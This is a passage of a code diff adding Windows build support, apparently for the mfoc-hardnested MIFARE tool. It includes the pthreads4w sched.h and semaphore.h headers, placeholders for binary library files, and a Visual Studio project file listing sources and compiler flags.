||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
#if !defined(_SCHED_H)
|
||||||
|
#define _SCHED_H
|
||||||
|
#define __SCHED_H_SOURCED__
|
||||||
|
|
||||||
|
#include <_ptw32.h>
|
||||||
|
|
||||||
|
/* We need a typedef for pid_t, (and POSIX requires <sched.h> to
|
||||||
|
* define it, as it is defined in <sys/types.h>, but it does NOT
|
||||||
|
* sanction exposure of everything from <sys/types.h>); there is
|
||||||
|
* no pid_t in Windows anyway, (except that MinGW does define it
|
||||||
|
* in their <sys/types.h>), so just provide a suitable typedef,
|
||||||
|
* but note that we must do so cautiously, to avoid a typedef
|
||||||
|
* conflict if MinGW's <sys/types.h> is also #included:
|
||||||
|
*/
|
||||||
|
#if ! defined __MINGW32__ || ! defined __have_typedef_pid_t
|
||||||
|
|
||||||
|
# if defined __MINGW64__
|
||||||
|
typedef __int64 pid_t;
|
||||||
|
# else
|
||||||
|
typedef int pid_t;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if __GNUC__ < 4
|
||||||
|
/* GCC v4.0 and later, (as used by MinGW), allows us to repeat a
|
||||||
|
* typedef, provided every duplicate is consistent; only set this
|
||||||
|
* multiple definition guard when we cannot be certain that it is
|
||||||
|
* permissable to repeat typedefs.
|
||||||
|
*/
|
||||||
|
#define __have_typedef_pid_t 1
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* POSIX.1-1993 says that <sched.h> WILL expose all of <time.h>
|
||||||
|
*/
|
||||||
|
#undef __SCHED_H_SOURCED__
|
||||||
|
#if _POSIX_C_SOURCE >= 200112L
|
||||||
|
/* POSIX.1-2001 and later revises this to say only that it MAY do so;
|
||||||
|
* only struct timespec, and associated time_t are actually required,
|
||||||
|
* so prefer to be selective; (MinGW.org's <time.h> offers an option
|
||||||
|
* for selective #inclusion, when __SCHED_H_SOURCED__ is defined):
|
||||||
|
*/
|
||||||
|
#define __SCHED_H_SOURCED__
|
||||||
|
#define __need_struct_timespec
|
||||||
|
#define __need_time_t
|
||||||
|
#endif
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
#if defined __MINGW64__ || _MSC_VER >= 1900
|
||||||
|
/* These are known to define struct timespec, when <time.h> has been
|
||||||
|
* #included, but may not, (probably don't), follow the convention of
|
||||||
|
* defining __struct_timespec_defined, as adopted by MinGW.org; for
|
||||||
|
* these cases, we unconditionally assume that struct timespec has
|
||||||
|
* been defined, otherwise, if MinGW.org's criterion has not been
|
||||||
|
* satisfied...
|
||||||
|
*/
|
||||||
|
#elif ! defined __struct_timespec_defined
|
||||||
|
# ifndef _TIMESPEC_DEFINED
|
||||||
|
# define _TIMESPEC_DEFINED
|
||||||
|
struct timespec
|
||||||
|
{ /* ...we fall back on this explicit definition.
|
||||||
|
*/
|
||||||
|
time_t tv_sec;
|
||||||
|
int tv_nsec;
|
||||||
|
};
|
||||||
|
# endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Microsoft VC++6.0 lacks these *_PTR types
|
||||||
|
*/
|
||||||
|
#if defined(_MSC_VER) && _MSC_VER < 1300 && !defined (__PTW32_HAVE_DWORD_PTR)
|
||||||
|
typedef unsigned long ULONG_PTR;
|
||||||
|
typedef ULONG_PTR DWORD_PTR;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Thread scheduling policies */
|
||||||
|
|
||||||
|
enum
|
||||||
|
{ SCHED_OTHER = 0,
|
||||||
|
SCHED_FIFO,
|
||||||
|
SCHED_RR,
|
||||||
|
SCHED_MIN = SCHED_OTHER,
|
||||||
|
SCHED_MAX = SCHED_RR
|
||||||
|
};
|
||||||
|
|
||||||
|
struct sched_param
|
||||||
|
{ int sched_priority;
|
||||||
|
};
|
||||||
|
|
||||||
|
/*
|
||||||
|
* CPU affinity
|
||||||
|
*
|
||||||
|
* cpu_set_t:
|
||||||
|
* Considered opaque but cannot be an opaque pointer due to the need for
|
||||||
|
* compatibility with GNU systems and sched_setaffinity() et.al., which
|
||||||
|
* include the cpusetsize parameter "normally set to sizeof(cpu_set_t)".
|
||||||
|
*
|
||||||
|
* FIXME: These are GNU, and NOT specified by POSIX; maybe consider
|
||||||
|
* occluding them within a _GNU_SOURCE (or similar) feature test.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define CPU_SETSIZE (sizeof(size_t)*8)
|
||||||
|
|
||||||
|
#define CPU_COUNT(setptr) (_sched_affinitycpucount(setptr))
|
||||||
|
|
||||||
|
#define CPU_ZERO(setptr) (_sched_affinitycpuzero(setptr))
|
||||||
|
|
||||||
|
#define CPU_SET(cpu, setptr) (_sched_affinitycpuset((cpu),(setptr)))
|
||||||
|
|
||||||
|
#define CPU_CLR(cpu, setptr) (_sched_affinitycpuclr((cpu),(setptr)))
|
||||||
|
|
||||||
|
#define CPU_ISSET(cpu, setptr) (_sched_affinitycpuisset((cpu),(setptr)))
|
||||||
|
|
||||||
|
#define CPU_AND(destsetptr, srcset1ptr, srcset2ptr) (_sched_affinitycpuand((destsetptr),(srcset1ptr),(srcset2ptr)))
|
||||||
|
|
||||||
|
#define CPU_OR(destsetptr, srcset1ptr, srcset2ptr) (_sched_affinitycpuor((destsetptr),(srcset1ptr),(srcset2ptr)))
|
||||||
|
|
||||||
|
#define CPU_XOR(destsetptr, srcset1ptr, srcset2ptr) \
|
||||||
|
(_sched_affinitycpuxor((destsetptr),(srcset1ptr),(srcset2ptr)))
|
||||||
|
|
||||||
|
#define CPU_EQUAL(set1ptr, set2ptr) (_sched_affinitycpuequal((set1ptr),(set2ptr)))
|
||||||
|
|
||||||
|
typedef union
|
||||||
|
{ char cpuset[CPU_SETSIZE/8];
|
||||||
|
size_t _align;
|
||||||
|
} cpu_set_t;
|
||||||
|
|
||||||
|
__PTW32_BEGIN_C_DECLS
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sched_yield (void);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sched_get_priority_min (int policy);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sched_get_priority_max (int policy);
|
||||||
|
|
||||||
|
/* FIXME: this declaration of sched_setscheduler() is NOT as prescribed
|
||||||
|
* by POSIX; it lacks const struct sched_param * as third argument.
|
||||||
|
*/
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sched_setscheduler (pid_t pid, int policy);
|
||||||
|
|
||||||
|
/* FIXME: In addition to the above five functions, POSIX also requires:
|
||||||
|
*
|
||||||
|
* int sched_getparam (pid_t, struct sched_param *);
|
||||||
|
* int sched_setparam (pid_t, const struct sched_param *);
|
||||||
|
*
|
||||||
|
* both of which are conspicuous by their absence here!
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Compatibility with Linux - not standard in POSIX
|
||||||
|
* FIXME: consider occluding within a _GNU_SOURCE (or similar) feature test.
|
||||||
|
*/
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sched_setaffinity (pid_t pid, size_t cpusetsize, cpu_set_t *mask);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sched_getaffinity (pid_t pid, size_t cpusetsize, cpu_set_t *mask);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Support routines and macros for cpu_set_t
|
||||||
|
*/
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL _sched_affinitycpucount (const cpu_set_t *set);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuzero (cpu_set_t *pset);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuset (int cpu, cpu_set_t *pset);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuclr (int cpu, cpu_set_t *pset);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL _sched_affinitycpuisset (int cpu, const cpu_set_t *pset);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuand(cpu_set_t *pdestset, const cpu_set_t *psrcset1, const cpu_set_t *psrcset2);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuor(cpu_set_t *pdestset, const cpu_set_t *psrcset1, const cpu_set_t *psrcset2);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT void __PTW32_CDECL _sched_affinitycpuxor(cpu_set_t *pdestset, const cpu_set_t *psrcset1, const cpu_set_t *psrcset2);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL _sched_affinitycpuequal (const cpu_set_t *pset1, const cpu_set_t *pset2);
|
||||||
|
|
||||||
|
/* Note that this macro returns ENOTSUP rather than ENOSYS, as
|
||||||
|
* might be expected. However, returning ENOSYS should mean that
|
||||||
|
* sched_get_priority_{min,max} are not implemented as well as
|
||||||
|
* sched_rr_get_interval. This is not the case, since we just
|
||||||
|
* don't support round-robin scheduling. Therefore I have chosen
|
||||||
|
* to return the same value as sched_setscheduler when SCHED_RR
|
||||||
|
* is passed to it.
|
||||||
|
*
|
||||||
|
* FIXME: POSIX requires this to be defined as a function; this
|
||||||
|
* macro implementation is permitted IN ADDITION to the function,
|
||||||
|
* but the macro alone is not POSIX compliant! Worse still, it
|
||||||
|
* imposes a requirement on the caller, to ensure that both the
|
||||||
|
* declaration of errno, and the definition of ENOTSUP, are in
|
||||||
|
* scope at point of call, (which it may wish to do anyway, but
|
||||||
|
* POSIX imposes no such constraint)!
|
||||||
|
*/
|
||||||
|
#define sched_rr_get_interval(_pid, _interval) \
|
||||||
|
( errno = ENOTSUP, (int) -1 )
|
||||||
|
|
||||||
|
__PTW32_END_C_DECLS
|
||||||
|
|
||||||
|
#undef __SCHED_H_SOURCED__
|
||||||
|
#endif /* !_SCHED_H */
|
||||||
116
src/include/semaphore.h
Normal file
116
src/include/semaphore.h
Normal file
@ -0,0 +1,116 @@
|
|||||||
|
/*
|
||||||
|
* Module: semaphore.h
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
* Semaphores aren't actually part of the PThreads standard.
|
||||||
|
* They are defined by the POSIX Standard:
|
||||||
|
*
|
||||||
|
* POSIX 1003.1b-1993 (POSIX.1b)
|
||||||
|
*
|
||||||
|
* --------------------------------------------------------------------------
|
||||||
|
*
|
||||||
|
* Pthreads4w - POSIX Threads for Windows
|
||||||
|
* Copyright 1998 John E. Bossom
|
||||||
|
* Copyright 1999-2018, Pthreads4w contributors
|
||||||
|
*
|
||||||
|
* Homepage: https://sourceforge.net/projects/pthreads4w/
|
||||||
|
*
|
||||||
|
* The current list of contributors is contained
|
||||||
|
* in the file CONTRIBUTORS included with the source
|
||||||
|
* code distribution. The list can also be seen at the
|
||||||
|
* following World Wide Web location:
|
||||||
|
*
|
||||||
|
* https://sourceforge.net/p/pthreads4w/wiki/Contributors/
|
||||||
|
*
|
||||||
|
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
* you may not use this file except in compliance with the License.
|
||||||
|
* You may obtain a copy of the License at
|
||||||
|
*
|
||||||
|
* http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
*
|
||||||
|
* Unless required by applicable law or agreed to in writing, software
|
||||||
|
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
* See the License for the specific language governing permissions and
|
||||||
|
* limitations under the License.
|
||||||
|
*/
|
||||||
|
#if !defined( SEMAPHORE_H )
|
||||||
|
#define SEMAPHORE_H
|
||||||
|
|
||||||
|
/* FIXME: POSIX.1 says that _POSIX_SEMAPHORES should be defined
|
||||||
|
* in <unistd.h>, not here; for later POSIX.1 versions, its value
|
||||||
|
* should match the corresponding _POSIX_VERSION number, but in
|
||||||
|
* the case of POSIX.1b-1993, the value is unspecified.
|
||||||
|
*
|
||||||
|
* Notwithstanding the above, since POSIX semaphores, (and indeed
|
||||||
|
* having any <unistd.h> to #include), are not a standard feature
|
||||||
|
* on MS-Windows, it is convenient to retain this definition here;
|
||||||
|
* we may consider adding a hook, to make it selectively available
|
||||||
|
* for inclusion by <unistd.h>, in those cases (e.g. MinGW) where
|
||||||
|
* <unistd.h> is provided.
|
||||||
|
*/
|
||||||
|
#define _POSIX_SEMAPHORES
|
||||||
|
|
||||||
|
/* Internal macros, common to the public interfaces for various
|
||||||
|
* pthreads-win32 components, are defined in <_ptw32.h>; we must
|
||||||
|
* include them here.
|
||||||
|
*/
|
||||||
|
#include <_ptw32.h>
|
||||||
|
|
||||||
|
/* The sem_timedwait() function was added in POSIX.1-2001; it
|
||||||
|
* requires struct timespec to be defined, at least as a partial
|
||||||
|
* (a.k.a. incomplete) data type. Forward declare it as such,
|
||||||
|
* then include <time.h> selectively, to acquire a complete
|
||||||
|
* definition, (if available).
|
||||||
|
*/
|
||||||
|
struct timespec;
|
||||||
|
#define __need_struct_timespec
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
/* The data type used to represent our semaphore implementation,
|
||||||
|
* as required by POSIX.1; FIXME: consider renaming the underlying
|
||||||
|
* structure tag, to avoid possible pollution of user namespace.
|
||||||
|
*/
|
||||||
|
typedef struct sem_t_ * sem_t;
|
||||||
|
|
||||||
|
/* POSIX.1b (and later) mandates SEM_FAILED as the value to be
|
||||||
|
* returned on failure of sem_open(); (our implementation is a
|
||||||
|
* stub, which will always return this).
|
||||||
|
*/
|
||||||
|
#define SEM_FAILED (sem_t *)(-1)
|
||||||
|
|
||||||
|
__PTW32_BEGIN_C_DECLS
|
||||||
|
|
||||||
|
/* Function prototypes: some are implemented as stubs, which
|
||||||
|
* always fail; (FIXME: identify them).
|
||||||
|
*/
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sem_init (sem_t * sem,
|
||||||
|
int pshared,
|
||||||
|
unsigned int value);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sem_destroy (sem_t * sem);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sem_trywait (sem_t * sem);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sem_wait (sem_t * sem);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sem_timedwait (sem_t * sem,
|
||||||
|
const struct timespec * abstime);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sem_post (sem_t * sem);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sem_post_multiple (sem_t * sem,
|
||||||
|
int count);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT sem_t * __PTW32_CDECL sem_open (const char *, int, ...);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sem_close (sem_t * sem);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sem_unlink (const char * name);
|
||||||
|
|
||||||
|
__PTW32_DLLPORT int __PTW32_CDECL sem_getvalue (sem_t * sem,
|
||||||
|
int * sval);
|
||||||
|
|
||||||
|
__PTW32_END_C_DECLS
|
||||||
|
|
||||||
|
#endif /* !SEMAPHORE_H */
|
||||||
BIN
src/lib/liblzma.lib
Normal file
BIN
src/lib/liblzma.lib
Normal file
Binary file not shown.
BIN
src/lib/libpthreadVSE3.lib
Normal file
BIN
src/lib/libpthreadVSE3.lib
Normal file
Binary file not shown.
BIN
src/lib/libusb.lib
Normal file
BIN
src/lib/libusb.lib
Normal file
Binary file not shown.
BIN
src/lib/libusb0.dll
Normal file
BIN
src/lib/libusb0.dll
Normal file
Binary file not shown.
BIN
src/lib/nfc.dll
Normal file
BIN
src/lib/nfc.dll
Normal file
Binary file not shown.
BIN
src/lib/nfc.lib
Normal file
BIN
src/lib/nfc.lib
Normal file
Binary file not shown.
181
src/mfoc-hardnested.vcxproj
Normal file
181
src/mfoc-hardnested.vcxproj
Normal file
@ -0,0 +1,181 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Release|x64">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>x64</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="cmdhfmfhard.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="crapto1.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="crypto1.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="getopt.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bf_core_AVX.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions</EnableEnhancedInstructionSet>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bf_core_AVX2.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mavx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions2</EnableEnhancedInstructionSet>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bf_core_AVX512.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mavx2 -mavx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions512</EnableEnhancedInstructionSet>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bf_core_SSE2.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions</EnableEnhancedInstructionSet>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX2.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mavx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions2</EnableEnhancedInstructionSet>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bitarray_core_AVX512.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mavx -mavx2 -mavx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|x64'">AdvancedVectorExtensions512</EnableEnhancedInstructionSet>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bitarray_core_SSE2.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_bruteforce.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\hardnested_cpu_dispatch.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="hardnested\tables.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="mfoc.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="mifare.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="nfc-utils.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="parity.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="stdlib.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ui.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="util.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="util_posix.c">
|
||||||
|
<AdditionalOptions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="bf_bench_data.h" />
|
||||||
|
<ClInclude Include="cmdhfmfhard.h" />
|
||||||
|
<ClInclude Include="config_w.h" />
|
||||||
|
<ClInclude Include="crapto1.h" />
|
||||||
|
<ClInclude Include="getopt.h" />
|
||||||
|
<ClInclude Include="hardnested\hardnested_bruteforce.h" />
|
||||||
|
<ClInclude Include="hardnested\hardnested_cpu_dispatch.h" />
|
||||||
|
<ClInclude Include="hardnested\tables.h" />
|
||||||
|
<ClInclude Include="mfoc.h" />
|
||||||
|
<ClInclude Include="mifare.h" />
|
||||||
|
<ClInclude Include="nfc-utils.h" />
|
||||||
|
<ClInclude Include="parity.h" />
|
||||||
|
<ClInclude Include="slre.h" />
|
||||||
|
<ClInclude Include="ui.h" />
|
||||||
|
<ClInclude Include="unistd.h" />
|
||||||
|
<ClInclude Include="util.h" />
|
||||||
|
<ClInclude Include="util_posix.h" />
|
||||||
|
<ClInclude Include="windows.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<VCProjectVersion>16.0</VCProjectVersion>
|
||||||
|
<Keyword>Win32Proj</Keyword>
|
||||||
|
<ProjectGuid>{24ea25a3-9008-44c1-83dd-4a81d02fc478}</ProjectGuid>
|
||||||
|
<RootNamespace>mfochardnested</RootNamespace>
|
||||||
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>ClangCL</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>Unicode</CharacterSet>
|
||||||
|
<PreferredToolArchitecture>x64</PreferredToolArchitecture>
|
||||||
|
<VCToolsVersion>
|
||||||
|
</VCToolsVersion>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="Shared">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<LinkIncremental>false</LinkIncremental>
|
||||||
|
<IncludePath>.\include;$(IncludePath)</IncludePath>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<FunctionLevelLinking>
|
||||||
|
</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<PreprocessorDefinitions>NDEBUG;_CONSOLE;NOGDI;_AMD64_;_CRT_SECURE_NO_WARNINGS;CONFFILES;DRIVER_ACR122S_ENABLED;DRIVER_ACR122_USB_ENABLED;DRIVER_ARYGON_ENABLED;DRIVER_PN532_UART_ENABLED;DRIVER_PN53X_USB_ENABLED;ENVVARS;HAVE_CONFIG_H;LOG;u_int16_t=uint16_t;u_int8_t=uint8_t;WIN32;_WINDOWS;W3;MD;__PTW32_CLEANUP_SEH;LZMA_API_STATIC;__x86_64__;HAVE_ERRNO_H;WIN64;_WIN64;__PTW32_STATIC_LIB;_CRT_SECURE_NO_DEPRECATE;__PTW32_RC_MSC;__PTW32_ARCHX64;X86_SIMD;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<ConformanceMode>false</ConformanceMode>
|
||||||
|
<LanguageStandard>Default</LanguageStandard>
|
||||||
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||||
|
<EnableParallelCodeGeneration>true</EnableParallelCodeGeneration>
|
||||||
|
<Optimization>Full</Optimization>
|
||||||
|
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
|
||||||
|
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
|
||||||
|
<EnableEnhancedInstructionSet>NotSet</EnableEnhancedInstructionSet>
|
||||||
|
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||||
|
<ExceptionHandling>false</ExceptionHandling>
|
||||||
|
<FloatingPointModel>Precise</FloatingPointModel>
|
||||||
|
<OmitFramePointers>true</OmitFramePointers>
|
||||||
|
<AdditionalOptions>-mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
<CompileAs>CompileAsC</CompileAs>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<SubSystem>Console</SubSystem>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
